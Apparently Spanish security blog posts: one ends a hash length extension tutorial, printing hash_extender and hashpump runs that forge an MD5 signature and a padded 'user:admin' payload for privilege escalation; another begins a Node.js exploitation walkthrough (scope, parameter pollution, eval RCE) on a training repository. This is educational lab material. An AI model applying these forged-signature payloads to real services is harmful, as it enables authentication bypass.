<span style="font-family: "courier new" , "courier" , monospace;"><b><u>Generamos una nueva firma</u></b></span></div>
<div class="separator" style="clear: both;">
<span style="font-family: "courier new" , "courier" , monospace;"><br /></span></div>
<div class="separator" style="clear: both;">
<span style="font-family: "courier new" , "courier" , monospace;"><b>arthusu@SEGINF-RED03:/mnt/c/users/jaesoto/hash_extender$</b> <b>./hash_extender -f md5 -s 38f7e2f0c5eba427ed6b4b47f24814ea --data 'user' --append ':admin' --secret-min=7 --secret-max=33 --out-data-format=html </b></span></div>
<div class="separator" style="clear: both;">
<span style="font-family: "courier new" , "courier" , monospace;"><br /></span></div>
<div class="separator" style="clear: both;">
<span style="font-family: "courier new" , "courier" , monospace;">Type: md5 </span></div>
<div class="separator" style="clear: both;">
<span style="font-family: "courier new" , "courier" , monospace;"><br /></span></div>
<div class="separator" style="clear: both;">
<span style="font-family: "courier new" , "courier" , monospace;">Secret length: 7 </span></div>
<div class="separator" style="clear: both;">
<span style="font-family: "courier new" , "courier" , monospace;"><br /></span></div>
<div class="separator" style="clear: both;">
<span style="font-family: "courier new" , "courier" , monospace;">New signature: 12005b20185a5b3feb166cf9017ffa56 </span></div>
<div class="separator" style="clear: both;">
<span style="font-family: "courier new" , "courier" , monospace;"><br /></span></div>
<div class="separator" style="clear: both;">
<span style="font-family: "courier new" , "courier" , monospace;">New string: user%80X%3aadmin </span></div>
<div class="separator" style="clear: both;">
<span style="font-family: "courier new" , "courier" , monospace;"><br /></span></div>
<div class="separator" style="clear: both;">
<span style="font-family: "courier new" , "courier" , monospace;"> </span></div>
<div class="separator" style="clear: both;">
<span style="font-family: "courier new" , "courier" , monospace;"><br /></span></div>
<div class="separator" style="clear: both;">
<span style="font-family: "courier new" , "courier" , monospace;">Type: md5 </span></div>
<div class="separator" style="clear: both;">
<span style="font-family: "courier new" , "courier" , monospace;"><br /></span></div>
<div class="separator" style="clear: both;">
<span style="font-family: "courier new" , "courier" , monospace;">Secret length: 8 </span></div>
<div class="separator" style="clear: both;">
<span style="font-family: "courier new" , "courier" , monospace;"><br /></span></div>
<div class="separator" style="clear: both;">
<span style="font-family: "courier new" , "courier" , monospace;">New signature: 12005b20185a5b3feb166cf9017ffa56 </span></div>
<div class="separator" style="clear: both;">
<span style="font-family: "courier new" , "courier" , monospace;"><br /></span></div>
<div class="separator" style="clear: both;">
<span style="font-family: "courier new" , "courier" , monospace;">New string: user%80%60%3aadmin </span></div>
<div class="separator" style="clear: both;">
<span style="font-family: "courier new" , "courier" , monospace;"><br /></span></div>
<div class="separator" style="clear: both;">
<span style="font-family: "courier new" , "courier" , monospace;"> </span></div>
<div class="separator" style="clear: both;">
<span style="font-family: "courier new" , "courier" , monospace;"><br /></span></div>
<div class="separator" style="clear: both;">
<span style="font-family: "courier new" , "courier" , monospace;">Type: md5 </span></div>
<div class="separator" style="clear: both;">
<span style="font-family: "courier new" , "courier" , monospace;"><br /></span></div>
<div class="separator" style="clear: both;">
<span style="font-family: "courier new" , "courier" , monospace;">Secret length: 9 </span></div>
<div class="separator" style="clear: both;">
<span style="font-family: "courier new" , "courier" , monospace;"><br /></span></div>
<div class="separator" style="clear: both;">
<span style="font-family: "courier new" , "courier" , monospace;">New signature: 12005b20185a5b3feb166cf9017ffa56 </span></div>
<div class="separator" style="clear: both;">
<span style="font-family: "courier new" , "courier" , monospace;"><br /></span></div>
<div class="separator" style="clear: both;">
<span style="font-family: "courier new" , "courier" , monospace;">New string: user%80h%3aadmin </span></div>
<div class="separator" style="clear: both;">
<span style="font-family: "courier new" , "courier" , monospace;"><br /></span></div>
<div class="separator" style="clear: both;">
<span style="font-family: "courier new" , "courier" , monospace;"> </span></div>
<div class="separator" style="clear: both;">
<span style="font-family: "courier new" , "courier" , monospace;"><br /></span></div>
<div class="separator" style="clear: both;">
<span style="font-family: "courier new" , "courier" , monospace;">Type: md5 </span></div>
<div class="separator" style="clear: both;">
<span style="font-family: "courier new" , "courier" , monospace;"><br /></span></div>
<div class="separator" style="clear: both;">
<span style="font-family: "courier new" , "courier" , monospace;">Secret length: 10 </span></div>
<div class="separator" style="clear: both;">
<span style="font-family: "courier new" , "courier" , monospace;"><br /></span></div>
<div class="separator" style="clear: both;">
<span style="font-family: "courier new" , "courier" , monospace;">New signature: 12005b20185a5b3feb166cf9017ffa56 </span></div>
<div class="separator" style="clear: both;">
<span style="font-family: "courier new" , "courier" , monospace;"><br /></span></div>
<div class="separator" style="clear: both;">
<span style="font-family: "courier new" , "courier" , monospace;">New string: user%80p%3aadmin </span></div>
<div class="separator" style="clear: both;">
<span style="font-family: "courier new" , "courier" , monospace;"><br /></span></div>
<div class="separator" style="clear: both;">
<span style="font-family: "courier new" , "courier" , monospace;"> </span></div>
<div class="separator" style="clear: both;">
<span style="font-family: "courier new" , "courier" , monospace;"><br /></span></div>
<div class="separator" style="clear: both;">
<span style="font-family: "courier new" , "courier" , monospace;">Type: md5 </span></div>
<div class="separator" style="clear: both;">
<span style="font-family: "courier new" , "courier" , monospace;"><br /></span></div>
<div class="separator" style="clear: both;">
<span style="font-family: "courier new" , "courier" , monospace;">Secret length: 11 </span></div>
<div class="separator" style="clear: both;">
<span style="font-family: "courier new" , "courier" , monospace;"><br /></span></div>
<div class="separator" style="clear: both;">
<span style="font-family: "courier new" , "courier" , monospace;">New signature: 12005b20185a5b3feb166cf9017ffa56 </span></div>
<div class="separator" style="clear: both;">
<span style="font-family: "courier new" , "courier" , monospace;"><br /></span></div>
<div class="separator" style="clear: both;">
<span style="font-family: "courier new" , "courier" , monospace;">New string: user%80x%3aadmin </span></div>
<div class="separator" style="clear: both;">
<span style="font-family: "courier new" , "courier" , monospace;"><br /></span></div>
<div class="separator" style="clear: both;">
<span style="font-family: "courier new" , "courier" , monospace;"> </span></div>
<div class="separator" style="clear: both;">
<span style="font-family: "courier new" , "courier" , monospace;"><br /></span></div>
<div class="separator" style="clear: both;">
<span style="font-family: "courier new" , "courier" , monospace;">...</span></div>
<div class="separator" style="clear: both;">
<span style="font-family: "courier new" , "courier" , monospace;"><br /></span></div>
<div class="separator" style="clear: both;">
<span style="font-family: "courier new" , "courier" , monospace;">Type: md5 </span></div>
<div class="separator" style="clear: both;">
<span style="font-family: "courier new" , "courier" , monospace;"><br /></span></div>
<div class="separator" style="clear: both;">
<span style="font-family: "courier new" , "courier" , monospace;">Secret length: 31 </span></div>
<div class="separator" style="clear: both;">
<span style="font-family: "courier new" , "courier" , monospace;"><br /></span></div>
<div class="separator" style="clear: both;">
<span style="font-family: "courier new" , "courier" , monospace;">New signature: 12005b20185a5b3feb166cf9017ffa56 </span></div>
<div class="separator" style="clear: both;">
<span style="font-family: "courier new" , "courier" , monospace;"><br /></span></div>
<div class="separator" style="clear: both;">
<span style="font-family: "courier new" , "courier" , monospace;">New string: user%80%18%01%3aadmin </span></div>
<div class="separator" style="clear: both;">
<span style="font-family: "courier new" , "courier" , monospace;"><br /></span></div>
<div class="separator" style="clear: both;">
<span style="font-family: "courier new" , "courier" , monospace;"> </span></div>
<div class="separator" style="clear: both;">
<span style="font-family: "courier new" , "courier" , monospace;"><br /></span></div>
<div class="separator" style="clear: both;">
<span style="font-family: "courier new" , "courier" , monospace;">Type: md5 </span></div>
<div class="separator" style="clear: both;">
<span style="font-family: "courier new" , "courier" , monospace;"><br /></span></div>
<div class="separator" style="clear: both;">
<span style="font-family: "courier new" , "courier" , monospace;">Secret length: 32 </span></div>
<div class="separator" style="clear: both;">
<span style="font-family: "courier new" , "courier" , monospace;"><br /></span></div>
<div class="separator" style="clear: both;">
<span style="font-family: "courier new" , "courier" , monospace;">New signature: 12005b20185a5b3feb166cf9017ffa56 </span></div>
<div class="separator" style="clear: both;">
<span style="font-family: "courier new" , "courier" , monospace;"><br /></span></div>
<div class="separator" style="clear: both;">
<span style="font-family: "courier new" , "courier" , monospace;">New string: user%80+%01%3aadmin </span></div>
<div class="separator" style="clear: both;">
<span style="font-family: "courier new" , "courier" , monospace;"><br /></span></div>
<div class="separator" style="clear: both;">
<span style="font-family: "courier new" , "courier" , monospace;"> </span></div>
<div class="separator" style="clear: both;">
<span style="font-family: "courier new" , "courier" , monospace;"><br /></span></div>
<div class="separator" style="clear: both;">
<span style="font-family: "courier new" , "courier" , monospace;">Type: md5 </span></div>
<div class="separator" style="clear: both;">
<span style="font-family: "courier new" , "courier" , monospace;"><br /></span></div>
<div class="separator" style="clear: both;">
<span style="font-family: "courier new" , "courier" , monospace;">Secret length: 33 </span></div>
<div class="separator" style="clear: both;">
<span style="font-family: "courier new" , "courier" , monospace;"><br /></span></div>
<div class="separator" style="clear: both;">
<span style="font-family: "courier new" , "courier" , monospace;">New signature: 12005b20185a5b3feb166cf9017ffa56 </span></div>
<div class="separator" style="clear: both;">
<span style="font-family: "courier new" , "courier" , monospace;"><br /></span></div>
<div class="separator" style="clear: both;">
<span style="font-family: "courier new" , "courier" , monospace;">New string: user%80%28%01%3aadmin </span></div>
<div class="separator" style="clear: both;">
<span style="font-family: "courier new" , "courier" , monospace;"><br /></span></div>
<div class="separator" style="clear: both;">
<br /></div>
<div class="separator" style="clear: both;">
<span style="font-family: "courier new" , "courier" , monospace;"><br /></span></div>
<div class="separator" style="clear: both;">
<span style="font-family: "courier new" , "courier" , monospace;">Donde los parámetros son los siguientes: </span></div>
<div class="separator" style="clear: both;">
<span style="font-family: "courier new" , "courier" , monospace;"><br /></span></div>
<div class="separator" style="clear: both;">
<span style="font-family: "courier new" , "courier" , monospace;"><b>-f xxx</b> le indicamos el tipo de hash </span></div>
<div class="separator" style="clear: both;">
<span style="font-family: "courier new" , "courier" , monospace;"><br /></span></div>
<div class="separator" style="clear: both;">
<span style="font-family: "courier new" , "courier" , monospace;"><b>-s xxxx</b> le indicamos la firma que tenemos valida </span></div>
<div class="separator" style="clear: both;">
<span style="font-family: "courier new" , "courier" , monospace;"><br /></span></div>
<div class="separator" style="clear: both;">
<span style="font-family: "courier new" , "courier" , monospace;"><b>--data 'xxx'</b> le indicamos el dato conocido en este caso user </span></div>
<div class="separator" style="clear: both;">
<span style="font-family: "courier new" , "courier" , monospace;"><br /></span></div>
<div class="separator" style="clear: both;">
<span style="font-family: "courier new" , "courier" , monospace;"><b>--append 'xxx'</b> le indicamos el dato que queremos agregarle en este caso :admin con dos puntos por el explode en este caso </span></div>
<div class="separator" style="clear: both;">
<span style="font-family: "courier new" , "courier" , monospace;"><br /></span></div>
<div class="separator" style="clear: both;">
<span style="font-family: "courier new" , "courier" , monospace;"><b>--out-data-format=xxx</b> le indicamos el formato de salida que le va dar </span></div>
<div class="separator" style="clear: both;">
<span style="font-family: "courier new" , "courier" , monospace;"><br /></span></div>
<div class="separator" style="clear: both;">
<span style="font-family: "courier new" , "courier" , monospace;"><b>--secret-min=numero</b> le indicamos un numero de tamaño para el secreto como minimo </span></div>
<div class="separator" style="clear: both;">
<span style="font-family: "courier new" , "courier" , monospace;"><br /></span></div>
<div class="separator" style="clear: both;">
<span style="font-family: "courier new" , "courier" , monospace;"><b>--secret-max=numero</b> le indicamos un numero de tamaño para el secreto como maximo </span></div>
<div class="separator" style="clear: both;">
<span style="font-family: "courier new" , "courier" , monospace;"><br /></span></div>
<div class="separator" style="clear: both;">
<br /></div>
<div class="separator" style="clear: both;">
<span style="font-family: "courier new" , "courier" , monospace;"><br /></span></div>
<div class="separator" style="clear: both;">
<span style="font-family: "courier new" , "courier" , monospace;">El secreto es en lo que se basa este ataque el tamaño del mismo como en este caso hipotéticamente no sabemos su tamaño (aunque si sabemos que la <b><i>$signature</i></b> tiene 32 caracteres el tamaño 😉 ) entonces generamos un rango en este caso del 7 al 33 y comenzamos a probar... 1 por 1. </span></div>
<div class="separator" style="clear: both;">
<span style="font-family: "courier new" , "courier" , monospace;"><br /></span></div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEilhaFhVH5Pb48KfgznZj6XSdspavJOAcU5NO0Cm9M-lWsINgdZd60BW_PAvgUtllqr3K1S_Gf32VRF_j70OXsodU2mp1ZWLVF71bGO8Th6o9v_3GMnyBAHkyroBBPv2hfhXMzusTZ70i7H/s1600/GetImage+%25287%2529.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><span style="font-family: "courier new" , "courier" , monospace;"><img border="0" data-original-height="201" data-original-width="1193" height="106" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEilhaFhVH5Pb48KfgznZj6XSdspavJOAcU5NO0Cm9M-lWsINgdZd60BW_PAvgUtllqr3K1S_Gf32VRF_j70OXsodU2mp1ZWLVF71bGO8Th6o9v_3GMnyBAHkyroBBPv2hfhXMzusTZ70i7H/s640/GetImage+%25287%2529.png" width="640" /></span></a></div>
<div class="separator" style="clear: both;">
<span style="font-family: "courier new" , "courier" , monospace;"><br /></span></div>
<div class="separator" style="clear: both;">
<span style="font-family: "courier new" , "courier" , monospace;">Para realizar la prueba con hashpump lo hacemos de la siguiente manera: </span></div>
<div class="separator" style="clear: both;">
<span style="font-family: "courier new" , "courier" , monospace;"><br /></span></div>
<div class="separator" style="clear: both;">
<br /></div>
<div class="separator" style="clear: both;">
<span style="font-family: "courier new" , "courier" , monospace;"><b>arthusu@SEGINF-RED03:~$ hashpump</b> </span></div>
<div class="separator" style="clear: both;">
<span style="font-family: "courier new" , "courier" , monospace;"><br /></span></div>
<div class="separator" style="clear: both;">
<span style="font-family: "courier new" , "courier" , monospace;">Input Signature: 38f7e2f0c5eba427ed6b4b47f24814ea </span></div>
<div class="separator" style="clear: both;">
<span style="font-family: "courier new" , "courier" , monospace;"><br /></span></div>
<div class="separator" style="clear: both;">
<span style="font-family: "courier new" , "courier" , monospace;">Input Data: :user </span></div>
<div class="separator" style="clear: both;">
<span style="font-family: "courier new" , "courier" , monospace;"><br /></span></div>
<div class="separator" style="clear: both;">
<span style="font-family: "courier new" , "courier" , monospace;">Input Key Length: 32 </span></div>
<div class="separator" style="clear: both;">
<span style="font-family: "courier new" , "courier" , monospace;"><br /></span></div>
<div class="separator" style="clear: both;">
<span style="font-family: "courier new" , "courier" , monospace;">Input Data to Add: :admin </span></div>
<div class="separator" style="clear: both;">
<span style="font-family: "courier new" , "courier" , monospace;"><br /></span></div>
<div class="separator" style="clear: both;">
<span style="font-family: "courier new" , "courier" , monospace;">12005b20185a5b3feb166cf9017ffa56 </span></div>
<div class="separator" style="clear: both;">
<span style="font-family: "courier new" , "courier" , monospace;"><br /></span></div>
<div class="separator" style="clear: both;">
<span style="font-family: "courier new" , "courier" , monospace;">:user\x80\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00(\x01\x00\x00\x00\x00\x00\x00:admin </span></div>
<div class="separator" style="clear: both;">
<span style="font-family: "courier new" , "courier" , monospace;"><br /></span></div>
<div class="separator" style="clear: both;">
<br /></div>
<div class="separator" style="clear: both;">
<span style="font-family: "courier new" , "courier" , monospace;"><br /></span></div>
<div class="separator" style="clear: both;">
<span style="font-family: "courier new" , "courier" , monospace;">Como vemos ingresamos la firma con la comenzamos <b><i>38f7e2f0c5eba427ed6b4b47f24814ea </i></b></span></div>
<div class="separator" style="clear: both;">
<span style="font-family: "courier new" , "courier" , monospace;"><br /></span></div>
<div class="separator" style="clear: both;">
<span style="font-family: "courier new" , "courier" , monospace;">Despues el dato con el que comenzamos user </span></div>
<div class="separator" style="clear: both;">
<span style="font-family: "courier new" , "courier" , monospace;"><br /></span></div>
<div class="separator" style="clear: both;">
<span style="font-family: "courier new" , "courier" , monospace;">Y el tamaño de la firma en este caso 32 </span></div>
<div class="separator" style="clear: both;">
<span style="font-family: "courier new" , "courier" , monospace;"><br /></span></div>
<div class="separator" style="clear: both;">
<span style="font-family: "courier new" , "courier" , monospace;">Por ultimo el input agregar es :admin el cual esta en un explode por eso : sino fuera el caso no se agrega </span></div>
<div class="separator" style="clear: both;">
<span style="font-family: "courier new" , "courier" , monospace;"><br /></span></div>
<div class="separator" style="clear: both;">
<br /></div>
<div class="separator" style="clear: both;">
<span style="font-family: "courier new" , "courier" , monospace;"><br /></span></div>
<div class="separator" style="clear: both;">
<span style="font-family: "courier new" , "courier" , monospace;">Nos da una nueva firma: 12005b20185a5b3feb166cf9017ffa56 </span></div>
<div class="separator" style="clear: both;">
<span style="font-family: "courier new" , "courier" , monospace;"><br /></span></div>
<div class="separator" style="clear: both;">
<span style="font-family: "courier new" , "courier" , monospace;">Y un payload: :user\x80\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00(\x01\x00\x00\x00\x00\x00\x00:admin </span></div>
<div class="separator" style="clear: both;">
<span style="font-family: "courier new" , "courier" , monospace;"><br /></span></div>
<div class="separator" style="clear: both;">
<br /></div>
<div class="separator" style="clear: both;">
<span style="font-family: "courier new" , "courier" , monospace;"><br /></span></div>
<div class="separator" style="clear: both;">
<span style="font-family: "courier new" , "courier" , monospace;">El cual transformamos \x a % quedando asi: </span></div>
<div class="separator" style="clear: both;">
<span style="font-family: "courier new" , "courier" , monospace;"><br /></span></div>
<div class="separator" style="clear: both;">
<br /></div>
<div class="separator" style="clear: both;">
<span style="font-family: "courier new" , "courier" , monospace;">user%80(%01:admin</span></div>
<div class="separator" style="clear: both;">
<span style="font-family: "courier new" , "courier" , monospace;"><br /></span></div>
<div class="separator" style="clear: both;">
<span style="font-family: "courier new" , "courier" , monospace;">Al ejecutar el payload nos da el resultado correcto. </span></div>
<div class="separator" style="clear: both;">
<br /></div>
<div class="separator" style="clear: both;">
<span style="font-family: "courier new" , "courier" , monospace;"><br /></span></div>
<div class="separator" style="clear: both;">
<span style="font-family: "courier new" , "courier" , monospace;"><b><u>Conclusión: </u></b></span></div>
<div class="separator" style="clear: both;">
<span style="font-family: "courier new" , "courier" , monospace;"><br /></span></div>
<div class="separator" style="clear: both;">
<span style="font-family: "courier new" , "courier" , monospace;"><br /></span></div>
<div class="separator" style="clear: both;">
<span style="font-family: "courier new" , "courier" , monospace;">Estas vulnerabilidades existen realmente en las aplicaciones web, un ejemplo claro de ello lo podemos encontrar en: <a href="https://hackerone.com/reports/251572">https://hackerone.com/reports/251572</a> </span></div>
<div class="separator" style="clear: both;">
<span style="font-family: "courier new" , "courier" , monospace;"><br /></span></div>
<div class="separator" style="clear: both;">
<span style="font-family: "courier new" , "courier" , monospace;">Les dejo su formato en PDF ya que los nullbytes no se aprecian correctamente en la entrada:</span></div>
<div class="separator" style="clear: both;">
<span style="font-family: "courier new" , "courier" , monospace;"><span style="font-family: "SF Regular", "Segoe UI Regular", sans-serif; font-size: 16px;">https://www.mediafire.com/file/yaq1eka7yahtvwg/ataque_extension_de_longitud.pdf/file</span></span></div>
<br />Arthusuhttp://www.blogger.com/profile/07251487834367553805noreply@blogger.com0tag:blogger.com,1999:blog-2586919884408211723.post-38799816395287064422018-11-22T21:42:00.001-08:002018-11-22T21:42:12.882-08:00Node JS: Seguridad y Explotacion<span style="color: red; font-family: Courier New, Courier, monospace;"><b>Introducción</b></span><br />
<span style="font-family: Courier New, Courier, monospace;"><br /></span>
<span style="font-family: Courier New, Courier, monospace;">Node.js es un entorno en tiempo de ejecución multiplataforma, de código abierto, para la capa del servidor basado en el lenguaje de programación ECMAScript, asíncrono, con I/O de datos en una arquitectura orientada a eventos y basado en el motor V8 de Google.</span><br />
<span style="font-family: Courier New, Courier, monospace;"><br /></span>
<span style="color: red; font-family: Courier New, Courier, monospace;"><b>Material:</b></span><br />
<span style="font-family: Courier New, Courier, monospace;"><br /></span>
<span style="font-family: Courier New, Courier, monospace;"><a href="https://github.com/ajinabraham/Node.Js-Security-Course">https://github.com/ajinabraham/Node.Js-Security-Course</a></span><br />
<span style="font-family: Courier New, Courier, monospace;"><br /></span>
<span style="font-family: Courier New, Courier, monospace;">Les dejo el siguiente enlace es lo que necesitamos para hacer pruebas de nuestras explotaciones.</span><br />
<span style="font-family: Courier New, Courier, monospace;"><br /></span>
<span style="font-family: Courier New, Courier, monospace;"><b>Descargar node js:</b> <a href="https://nodejs.org/es/download/">https://nodejs.org/es/download/</a></span><br />
<br />
<span style="font-family: Courier New, Courier, monospace;">Clonamos el repositorio utilizando git: </span><br />
<span style="font-family: Courier New, Courier, monospace;"><i><b>git clone https://github.com/ajinabraham/Node.Js-Security-Course.git</b></i></span><br />
<span style="font-family: Courier New, Courier, monospace;"><br /></span>
<span style="font-family: Courier New, Courier, monospace;">Accedemos a la carpeta desde el cmd o terminal.</span><br />
<span style="font-family: Courier New, Courier, monospace;"><br /></span>
<span style="color: red; font-family: Courier New, Courier, monospace;"><b>Explotación</b></span><br />
<span style="font-family: Courier New, Courier, monospace;"><br /></span>
<span style="font-family: Courier New, Courier, monospace;"><b>* Alcance de Variables</b></span><br />
<span style="font-family: Courier New, Courier, monospace;"><br /></span>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgo8IFNmEZF_5oIBov9t4ttPxNFWTkgF5SualsKDXdLwHM306nBMhKXkNS0biAxQukgtDhhsgW6dRrH4gCUPP9G6ZKyc4cg1JCzdnVzwy9g8C3LMHcg2NOgIPJD9UZ_DU_j8dlVhrxzyKrS/s1600/Screenshot_78.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="189" data-original-width="461" height="130" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgo8IFNmEZF_5oIBov9t4ttPxNFWTkgF5SualsKDXdLwHM306nBMhKXkNS0biAxQukgtDhhsgW6dRrH4gCUPP9G6ZKyc4cg1JCzdnVzwy9g8C3LMHcg2NOgIPJD9UZ_DU_j8dlVhrxzyKrS/s320/Screenshot_78.png" width="320" /></a></div>
<span style="font-family: Courier New, Courier, monospace;"><br /></span>
<span style="font-family: Courier New, Courier, monospace;">Tenemos el siguiente código del archivo <i>global_scope.js</i>, en este ejemplo estamos utilizando un framework llamado express que simplifica mucho el trabajo, para instalar express utilizamos el siguiente comando:</span><br />
<span style="font-family: Courier New, Courier, monospace;"><br /></span>
<span style="font-family: Courier New, Courier, monospace;"><i><b>npm install express</b></i> <- Esto hace que se instale el modulo express</span><br />
<span style="font-family: Courier New, Courier, monospace;"><br /></span>
<span style="font-family: Courier New, Courier, monospace;"><b><i>node global_scope.js</i></b> <- Esto ejecuta el archivo para el servidor node</span><br />
<span style="font-family: Courier New, Courier, monospace;"><br /></span>
<span style="font-family: Courier New, Courier, monospace;"><br /></span>
<span style="font-family: Courier New, Courier, monospace;">Ahora el problema reside en que si accedemos desde el navegador por ejemplo chrome se muestra la siguiente pantalla:</span><br />
<span style="font-family: Courier New, Courier, monospace;"><br /></span>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiWav06EFtCGNP8elOKxy3aQv_VTSx1FvepKO8hIDBItGSvwoFTu2AXcDvLWgFpgOAOSxGagCz4Zx0KvlfjYvOxw0FwH7wIYoGHdPrauINPgg4evocnIEVNnNSz6JIfzpGQcsd6vcRcz5YC/s1600/Screenshot_79.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="162" data-original-width="433" height="119" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiWav06EFtCGNP8elOKxy3aQv_VTSx1FvepKO8hIDBItGSvwoFTu2AXcDvLWgFpgOAOSxGagCz4Zx0KvlfjYvOxw0FwH7wIYoGHdPrauINPgg4evocnIEVNnNSz6JIfzpGQcsd6vcRcz5YC/s320/Screenshot_79.png" width="320" /></a></div>
<div class="separator" style="clear: both; text-align: center;">
</div>
<span style="font-family: Courier New, Courier, monospace;"><br /></span>
<span style="font-family: Courier New, Courier, monospace;">Lo cual es normal, si accediéremos esta variable aumentaría lo cual esta bien, pero lo que pasa aquí es que si accedemos desde otro navegador, otra pc este archivo como esta en solo en el mismo archivo ejecutándose siempre en node va seguir y seguir en aumento lo cual esta mal. Desde firefox se mira asi:</span><br />
<span style="font-family: Courier New, Courier, monospace;"><br /></span>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhUl-xNrfF-urSnic8fO1g116Eutnp3MFhjA9o-4mYmrPsSBq5gzIYwotn9N1AHDevwXQ39khMrFIOEkPioyTwcTjyWHQku4bKcZ4fZL90Y-3z6hg2NRbn8S8Ph_jwj0NdsSoIhYbCaAvai/s1600/Screenshot_80.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="192" data-original-width="460" height="133" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhUl-xNrfF-urSnic8fO1g116Eutnp3MFhjA9o-4mYmrPsSBq5gzIYwotn9N1AHDevwXQ39khMrFIOEkPioyTwcTjyWHQku4bKcZ4fZL90Y-3z6hg2NRbn8S8Ph_jwj0NdsSoIhYbCaAvai/s320/Screenshot_80.png" width="320" /></a></div>
<span style="font-family: Courier New, Courier, monospace;"><br /></span>
<span style="font-family: Courier New, Courier, monospace;"><b>* HTTP Parameter Pollution</b></span><br />
<span style="font-family: Courier New, Courier, monospace;"><br /></span>
<span style="font-family: Courier New, Courier, monospace;">El duplicar algunas variables aveces hace que el lenguaje de programación tome la primera ocurrencia de la misma, la ultima o ambas, en el caso de NodeJs toma todas. Esto nos da paso a diferentes tipos de evasión ante algunos firewalls o múltiples tipos de ataque en diferentes variables que son aceptadas por NodeJS.</span><br />
<span style="font-family: Courier New, Courier, monospace;"><br /></span>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEglJl-cGIYGgTqLNxEC1gf8FHtE5L65Ti-jPLqobaFrAyQYdG-0_gTpVmsZnqvd_4AWsUzwzmU8EMUsOuZyzQFhl8J7xzpqn_jooLc5L7qhRKqkiG3PaXGwiRMEtH0jurj1Mb6bHPIGtmav/s1600/Screenshot_81.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="165" data-original-width="412" height="128" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEglJl-cGIYGgTqLNxEC1gf8FHtE5L65Ti-jPLqobaFrAyQYdG-0_gTpVmsZnqvd_4AWsUzwzmU8EMUsOuZyzQFhl8J7xzpqn_jooLc5L7qhRKqkiG3PaXGwiRMEtH0jurj1Mb6bHPIGtmav/s320/Screenshot_81.png" width="320" /></a></div>
<span style="font-family: Courier New, Courier, monospace;"><br /></span>
<span style="font-family: Courier New, Courier, monospace;">Tenemos el siguiente código <i>hpp.js</i>, el cual hace una petición y muestra la variable id en el body asi como en consola. El problema reside cuando ejecutamos varias veces las variables, NodeJs toma todas las variables que le enviemos:</span><br />
<span style="font-family: Courier New, Courier, monospace;"><br /></span>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh4snJlygAUC9Eb6Kt1dBZPZHeXipRdjhA9bqF8KorjE2kQNefy91eJXFWRsRFvhMEYX4MnhSbYCZPaben45cnHlOIoqIfyJ4g3s3GZovBROi6gXAQoqDtheLzOomBZCq9vMgRDIE1NPAZp/s1600/Screenshot_82.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="391" data-original-width="728" height="213" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh4snJlygAUC9Eb6Kt1dBZPZHeXipRdjhA9bqF8KorjE2kQNefy91eJXFWRsRFvhMEYX4MnhSbYCZPaben45cnHlOIoqIfyJ4g3s3GZovBROi6gXAQoqDtheLzOomBZCq9vMgRDIE1NPAZp/s400/Screenshot_82.png" width="400" /></a></div>
<span style="font-family: Courier New, Courier, monospace;"><br /></span>
<span style="font-family: Courier New, Courier, monospace;"><br /></span>
<span style="font-family: Courier New, Courier, monospace;"><b>* Funcion eval() - RCE (Remote Code Execution)</b></span><br />
<span style="font-family: Courier New, Courier, monospace;"><br /></span>
<span style="font-family: Courier New, Courier, monospace;">Como su palabra lo dice <i>eval()</i> evalúa un código, esto puede ser muy peligroso ya que podemos matar el proceso ejecutándose osea el servidor mismo ya que es un solo archivo, realizar un Dos al navegador, etc. Otras funciones igual de peligrosas son:</span><br />
<span style="font-family: Courier New, Courier, monospace;"><br /></span>
<span style="font-family: Courier New, Courier, monospace;"> <b>- setInterval(codigo,2)</b></span><br />
<span style="font-family: Courier New, Courier, monospace;"><b> - setTimeOut(codigo,2)</b></span><br />
<span style="font-family: Courier New, Courier, monospace;"><b> - new Function(codigo)</b></span><br />
<span style="font-family: Courier New, Courier, monospace;"><br /></span>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgChIbK2CmmmGQcCcK9U8ifL6u3tpUW7eP7K02otVCqYNI16azT6P3oBP9JdygjU1tAUwsGX6_XIeQqM6qMe2coAsDMYdskOqX2ai-GXsV0nC5Rq2njsijy8vzuJd1C0GHExcKNDhjk9USy/s1600/Screenshot_83.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="158" data-original-width="429" height="117" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgChIbK2CmmmGQcCcK9U8ifL6u3tpUW7eP7K02otVCqYNI16azT6P3oBP9JdygjU1tAUwsGX6_XIeQqM6qMe2coAsDMYdskOqX2ai-GXsV0nC5Rq2njsijy8vzuJd1C0GHExcKNDhjk9USy/s320/Screenshot_83.png" width="320" /></a></div>
<span style="font-family: Courier New, Courier, monospace;"><br /></span>
